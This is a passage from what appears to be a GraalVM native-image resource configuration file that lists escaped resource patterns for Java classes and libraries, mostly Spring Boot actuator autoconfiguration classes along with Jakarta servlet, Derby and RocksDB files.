\"pattern\":\"\\\\Qio/prometheus/client/CollectorRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjakarta/servlet/Filter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjakarta/servlet/GenericServlet.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjakarta/servlet/MultipartConfigElement.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjakarta/servlet/http/HttpServlet.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjava/lang/Iterable.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjava/lang/Object.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjava/util/function/BiPredicate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjavax/sql/CommonDataSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qjavax/sql/DataSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qlibrocksdbjni-linux64.so\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qlibrocksdbjni-osx-arm64.jnilib\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qlibrocksdbjni-win64.dll\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qmozilla/public-suffix-list.txt\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qnacos-version.txt\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/aopalliance/intercept/MethodInterceptor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/catalina/core/RestrictedFilters.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/catalina/core/RestrictedListeners.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/catalina/core/RestrictedServlets.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/catalina/loader/JdbcLeakPrevention.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/catalina/util/CharsetMapperDefault.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/catalina/util/ServerInfo.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/derby/impl/jdbc/metadata.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/derby/impl/sql/catalog/metadata_net.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/derby/info/DBMS.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/derby/modules.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/apache/hc/client5/version.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/aspectj/lang/annotation/Aspect.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/Advisor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/aspectj/annotation/AnnotationAwareAspectJAutoProxyCreator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/aspectj/autoproxy/AspectJAwareAdvisorAutoProxyCreator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/AbstractAdvisingBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/AopInfrastructureBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/ProxyConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/ProxyProcessorSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/autoproxy/AbstractAdvisorAutoProxyCreator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/autoproxy/AbstractAutoProxyCreator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/framework/autoproxy/AbstractBeanFactoryAwareAdvisingPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/support/AbstractBeanFactoryPointcutAdvisor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aop/support/AbstractPointcutAdvisor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/aot/hint/annotation/Reflective.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/Aware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/BeanClassLoaderAware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/BeanFactoryAware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/DisposableBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/FactoryBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/InitializingBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/SmartInitializingSingleton.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/annotation/AutowiredAnnotationBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/annotation/InitDestroyAnnotationBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/aot/BeanRegistrationAotProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/config/BeanFactoryPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/config/BeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/config/InstantiationAwareBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/config/PlaceholderConfigurerSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/config/PropertyResourceConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/config/SmartInstantiationAwareBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/support/MergedBeanDefinitionPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/beans/factory/support/NullBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/LazyInitializationExcludeFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/audit/AuditAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/audit/AuditEventsEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/availability/AvailabilityHealthContributorAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/availability/AvailabilityProbesAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/beans/BeansEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/cache/CachesEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/cloudfoundry/servlet/CloudFoundryActuatorAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/condition/ConditionsReportEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/condition/ConditionsReportEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/context/ShutdownEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/context/properties/ConfigurationPropertiesReportEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/context/properties/ConfigurationPropertiesReportEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/EndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/condition/ConditionalOnAvailableEndpoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/expose/IncludeExcludeEndpointFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/jackson/JacksonEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/jmx/DefaultEndpointObjectNameFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/jmx/JmxEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/jmx/JmxEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/CorsEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/MappingWebEndpointPathMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/ServletEndpointManagementContextConfiguration$JerseyServletEndpointManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/ServletEndpointManagementContextConfiguration$WebMvcServletEndpointManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/ServletEndpointManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/WebEndpointAutoConfiguration$WebEndpointServletConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/WebEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/WebEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/jersey/JerseyWebEndpointManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/reactive/WebFluxEndpointManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/servlet/WebMvcEndpointManagementContextConfiguration$EndpointObjectMapperWebMvcConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/endpoint/web/servlet/WebMvcEndpointManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/env/EnvironmentEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/env/EnvironmentEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/AbstractCompositeHealthContributorConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/AutoConfiguredHealthContributorRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/AutoConfiguredHealthEndpointGroups.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/CompositeHealthContributorConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/ConditionalOnEnabledHealthIndicator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthContributorAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointConfiguration$AdaptedReactiveHealthContributors.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointConfiguration$HealthEndpointGroupMembershipValidator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointConfiguration$HealthEndpointGroupsBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointReactiveWebExtensionConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointWebExtensionConfiguration$JerseyAdditionalHealthEndpointPathsConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointWebExtensionConfiguration$JerseyAdditionalHealthEndpointPathsResourcesRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointWebExtensionConfiguration$MvcAdditionalHealthEndpointPathsConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthEndpointWebExtensionConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/HealthProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/health/ReactiveHealthEndpointConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/info/InfoContributorAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/info/InfoContributorProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/info/InfoEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/jdbc/DataSourceHealthContributorAutoConfiguration$RoutingDataSourceHealthContributor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/jdbc/DataSourceHealthContributorAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/jdbc/DataSourceHealthIndicatorProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/ldap/LdapHealthContributorAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/logging/LogFileWebEndpointAutoConfiguration$LogFileCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/logging/LogFileWebEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/logging/LogFileWebEndpointProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/logging/LoggersEndpointAutoConfiguration$OnEnabledLoggingSystemCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/logging/LoggersEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/management/HeapDumpWebEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/management/ThreadDumpEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/CompositeMeterRegistryAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/CompositeMeterRegistryConfiguration$MultipleNonPrimaryMeterRegistriesCondition$NoMeterRegistryCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/CompositeMeterRegistryConfiguration$MultipleNonPrimaryMeterRegistriesCondition$SingleInjectableMeterRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/CompositeMeterRegistryConfiguration$MultipleNonPrimaryMeterRegistriesCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/CompositeMeterRegistryConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/JvmMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/LogbackMetricsAutoConfiguration$LogbackLoggingCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/LogbackMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MeterRegistryPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsAspectsAutoConfiguration$ObservationAnnotationsEnabledCondition$ManagementObservationsEnabledCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsAspectsAutoConfiguration$ObservationAnnotationsEnabledCondition$MicrometerObservationsEnabledCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsAspectsAutoConfiguration$ObservationAnnotationsEnabledCondition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsAspectsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsAutoConfiguration$MeterRegistryCloser.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/MetricsProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/NoOpMeterRegistryConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/PropertiesMeterFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/SystemMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMeterBinderProvidersConfiguration$Cache2kCacheMeterBinderProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMeterBinderProvidersConfiguration$CaffeineCacheMeterBinderProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMeterBinderProvidersConfiguration$HazelcastCacheMeterBinderProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMeterBinderProvidersConfiguration$JCacheCacheMeterBinderProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMeterBinderProvidersConfiguration$RedisCacheMeterBinderProviderConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMeterBinderProvidersConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/cache/CacheMetricsRegistrarConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/ConditionalOnEnabledMetricsExport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/elastic/ElasticMetricsExportAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/influx/InfluxMetricsExportAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/prometheus/PrometheusProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/prometheus/PrometheusSimpleclientMetricsExportAutoConfiguration$PrometheusPushGatewayConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/prometheus/PrometheusSimpleclientMetricsExportAutoConfiguration$PrometheusScrapeEndpointConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/prometheus/PrometheusSimpleclientMetricsExportAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/prometheus/PrometheusSimpleclientPropertiesConfigAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/properties/PropertiesConfigAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/export/simple/SimpleMetricsExportAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/integration/IntegrationMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/jdbc/DataSourcePoolMetricsAutoConfiguration$DataSourcePoolMetadataMetricsConfiguration$DataSourcePoolMetadataMeterBinder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/jdbc/DataSourcePoolMetricsAutoConfiguration$DataSourcePoolMetadataMetricsConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/jdbc/DataSourcePoolMetricsAutoConfiguration$HikariDataSourceMetricsConfiguration$HikariDataSourceMeterBinder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/jdbc/DataSourcePoolMetricsAutoConfiguration$HikariDataSourceMetricsConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/jdbc/DataSourcePoolMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/startup/StartupTimeMetricsListenerAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/task/TaskExecutorMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/metrics/web/tomcat/TomcatMetricsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$MeterObservationHandlerConfiguration$OnlyMetricsMeterObservationHandlerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$MeterObservationHandlerConfiguration$TracingAndMetricsObservationHandlerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$MeterObservationHandlerConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$MetricsWithTracingConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$ObservedAspectConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$OnlyMetricsConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration$OnlyTracingConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationHandlerGrouping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationProperties.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/ObservationRegistryPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/PropertiesObservationFilterPredicate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/client/HttpClientObservationsAutoConfiguration$MeterFilterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/client/HttpClientObservationsAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/client/RestClientObservationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/client/RestTemplateObservationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/client/WebClientObservationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/servlet/WebMvcObservationAutoConfiguration$MeterFilterConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/observation/web/servlet/WebMvcObservationAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/sbom/SbomEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/scheduling/ScheduledTasksEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/scheduling/ScheduledTasksObservabilityAutoConfiguration$ObservabilitySchedulingConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/scheduling/ScheduledTasksObservabilityAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/security/servlet/ManagementWebSecurityAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/security/servlet/SecurityRequestMatchersManagementContextConfiguration$JerseyRequestMatcherConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/security/servlet/SecurityRequestMatchersManagementContextConfiguration$MvcRequestMatcherConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/security/servlet/SecurityRequestMatchersManagementContextConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/startup/StartupEndpointAutoConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/boot/actuate/autoconfigure/system/DiskSpaceHealthContributorAutoConfiguration.class\\\\E\"\n  }, {\n    